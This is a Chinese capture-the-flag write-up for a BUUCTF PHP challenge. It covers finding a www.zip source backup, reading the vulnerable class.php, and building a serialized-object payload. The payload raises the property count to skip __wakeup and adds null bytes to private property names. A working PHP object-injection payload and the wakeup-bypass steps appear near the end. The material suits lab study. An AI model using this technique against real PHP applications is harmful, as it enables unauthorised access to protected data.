128,【1】buuctf [极客大挑战 2019]PHP

进入靶场

提示了备份文件

抓包,扫描

扫描出了两个有反应的

访问index.php没反应,但www.zip成功下载了文件

index.php里得到如下有用信息

php 复制代码
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

所以我们要通过GET 方式传递 select 参数的值,并对该值进行序列化操作

?select=

再去查看class.php

php 复制代码
<?php
// 包含 flag.php 文件
include 'flag.php';

// 设置错误报告级别为 0,意味着不显示任何 PHP 错误信息
error_reporting(0);

// 定义一个名为 Name 的类
class Name{
    // 定义一个私有属性 $username,初始值为 'nonono'
    // 私有属性只能在类内部访问
    private $username = 'nonono';
    // 定义一个私有属性 $password,初始值为 'yesyes'
    private $password = 'yesyes';

    // 构造函数,当创建 Name 类的对象时会自动调用
    // 接收两个参数 $username 和 $password,用于初始化对象的属性
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

    // __wakeup 魔术方法,当使用 unserialize 函数对对象进行反序列化时会自动调用
    // 此方法将对象的 $username 属性重置为 'guest'
    function __wakeup(){
        $this->username = 'guest';
    }

    // __destruct 析构函数,当对象被销毁时会自动调用
    function __destruct(){
        // 检查对象的 $password 属性是否不等于 100
        if ($this->password != 100) {
            // 如果不等于 100,输出提示信息,表明是黑客行为
            echo "</br>NO!!!hacker!!!</br>";
            // 输出用户名信息
            echo "You name is: ";
            echo $this->username;
            echo "</br>";
            // 输出密码信息
            echo "You password is: ";
            echo $this->password;
            echo "</br>";
            // 终止脚本执行
            die();
        }
        // 检查对象的 $username 属性是否严格等于 'admin'
        if ($this->username === 'admin') {
            // 如果是 'admin',将全局变量 $flag 引入当前作用域
            global $flag;
            // 输出存储在 $flag 中的 flag 信息
            echo $flag;
        } else {
            // 如果不是 'admin',输出友好提示信息,并表明无法提供 flag
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            // 终止脚本执行
            die();
        }
    }
}
?>

得知username和password,且值为admin和100

还需绕过_wakeup方法

通过改属性个数实现

username=admin&password=100

其他好像不用看了,试着开始构造

php 复制代码
<?php

class Name{
    private $username = 'admin';
    private $password = '100';
    }

$a=new Name();
$b=serialize(@$a);
echo $b
?>
复制代码
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

修改属性个数

复制代码
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

因为是两个属性

添加%00

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

得到flag

相关推荐
梦雨生生41 分钟前
java开发工具(学习第一天)
java·开发语言·学习
啊啊啊啊啊!!!!2 小时前
【c++】stack和queue的接口使用以及底层实现
开发语言·c++
松仔log3 小时前
Java中级——组合和继承
android·java·开发语言
(Charon)5 小时前
【C++】锁与原子操作(四):自旋锁的完整实现与性能优化
c语言·开发语言·c++
Ivanqhz5 小时前
php8 use-def链
算法·php
雨田言炎5 小时前
五、Qt控件使用说明大全
开发语言·qt
bu_shuo6 小时前
MATLAB中的meshgrid和ndgrid
开发语言·matlab
我命由我123456 小时前
Jetpack Compose - MaterialExpressiveTheme 与 MaterialTheme、ColorScheme
android·java·开发语言·java-ee·kotlin·android jetpack·android runtime
望天hous7 小时前
C#中masstranist快速入门
开发语言·c#
深海呐7 小时前
仓颉语言是ArkTs的上层语言吗?就像kotlin和Java
java·开发语言·kotlin·仓颉